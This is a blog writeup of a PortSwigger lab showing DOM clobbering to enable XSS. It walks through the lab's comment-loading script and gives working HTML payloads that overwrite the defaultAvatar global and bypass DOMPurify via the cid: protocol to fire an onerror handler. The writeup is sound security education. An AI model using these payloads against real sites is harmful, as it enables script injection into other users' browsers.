Siunam's Website

My personal website

Home About Blog Writeups Projects E-Portfolio

Exploiting DOM clobbering to enable XSS | Jan 14, 2023

Introduction

Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Exploiting DOM clobbering to enable XSS! Without further ado, let’s dive in.

Background

This lab contains a DOM-clobbering vulnerability. The comment functionality allows “safe” HTML. To solve this lab, construct an HTML injection that clobbers a variable and uses XSS to call the alert() function.

Note:

Please note that the intended solution to this lab will only work in Chrome.

Exploitation

Home page:

In the home page, we can view other posts:

And we can leave some comments!

View source page:

[...]
<h1>Comments</h1>
<span id='user-comments'>
<script src='resources/js/domPurify-2.0.15.js'></script>
<script src='resources/js/loadCommentsWithDomClobbering.js'></script>
<script>loadComments('/post/comment')</script>
</span>
<hr>
<section class="add-comment">
    <h2>Leave a comment</h2>
    <form action="/post/comment" method="POST" enctype="application/x-www-form-urlencoded">
        <input required type="hidden" name="csrf" value="kHBcFRVLJKJsiUEmCWZj4eAKbm4AY16B">
        <input required type="hidden" name="postId" value="7">
        <label>Comment:</label>
        <div>HTML is allowed</div>
        <textarea required rows="12" cols="300" name="comment"></textarea>
                <label>Name:</label>
                <input required type="text" name="name">
                <label>Email:</label>
                <input required type="email" name="email">
                <label>Website:</label>
                <input pattern="(http:|https:).+" type="text" name="website">
        <button class="button" type="submit">Post Comment</button>
    </form>
</section>
[...]

As you can see, the post page loaded the DOMPurify JavaScript library, which is a XSS sanitizer for HTML.

It also loaded a JavaScript file called loadCommentsWithDomClobbering.js, and calling function loadComments() with /post/comment argument.

loadCommentsWithDomClobbering.js:

function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    function escapeHTML(data) {
        return data.replace(/[<>'"]/g, function(c){
            return '&#' + c.charCodeAt(0) + ';';
        })
    }

    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");

            let firstPElement = document.createElement("p");

            let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
            let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';

            let divImgContainer = document.createElement("div");
            divImgContainer.innerHTML = avatarImgHTML

            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }

                let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }

            if (comment.date) {
                let dateObj = new Date(comment.date)
                let month = '' + (dateObj.getMonth() + 1);
                let day = '' + dateObj.getDate();
                let year = dateObj.getFullYear();

                if (month.length < 2)
                    month = '0' + month;
                if (day.length < 2)
                    day = '0' + day;

                dateStr = [day, month, year].join('-');

                let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(divImgContainer);

            commentSection.appendChild(firstPElement);

            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));

            userComments.appendChild(commentSection);
        }
    }
};

Basically what this JavaScript does is send a GET request to /post/comment, and then stores all the comments to a JSON data. After that, display all comments.

However, it has an interesting thing:

let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}

This defaultAvatar object is using an bitwise OR operator with a global variable, which is a dangerous pattern! This can lead to DOM clobbering vulnerability!

If we can override the orginal defaultAvatar object with an anchor element, we can inject some JavaScript!

Also, the post comment functionality allows HTML!

Armed with above information, we can try to override the defaultAvatar object:

<a id=defaultAvatar><a id=defaultAvatar name=avatar href='"onerror=alert(document.domain)//'>

This will override the defaultAvatar object avatar attribute’s property to alert(document.domain)//:

{avatar: '"onerror=alert(document.domain)//'}

Then we need to submit a second comment, which will then uses the newly-clobbered global variable. This should smuggle the payload in the onerror event handler and triggers the alert().

We successfully clobbered the defaultAvatar object, however the " is URL encoded. Why?

This is because it’s sanitized by DOMPurify:

commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);

Luckly, we can bypass that.

In DOMPurify, it allows us to use the cid: protocol, which doesn’t URL encode double quotes.

That bein said, we can inject an HTML encoded double quote that will be decoded at runtime!

Final payload:

<a id=defaultAvatar><a id=defaultAvatar name=avatar href='cid:&quot;onerror=alert(document.domain)//'>

Clobbered the defaultAvatar object:

{avatar: 'cid:"onerror=alert(document.domain)//'}

Let’s go to another post to override the defaultAvatar object!

It worked!

What we’ve learned:

  1. Exploiting DOM clobbering to enable XSS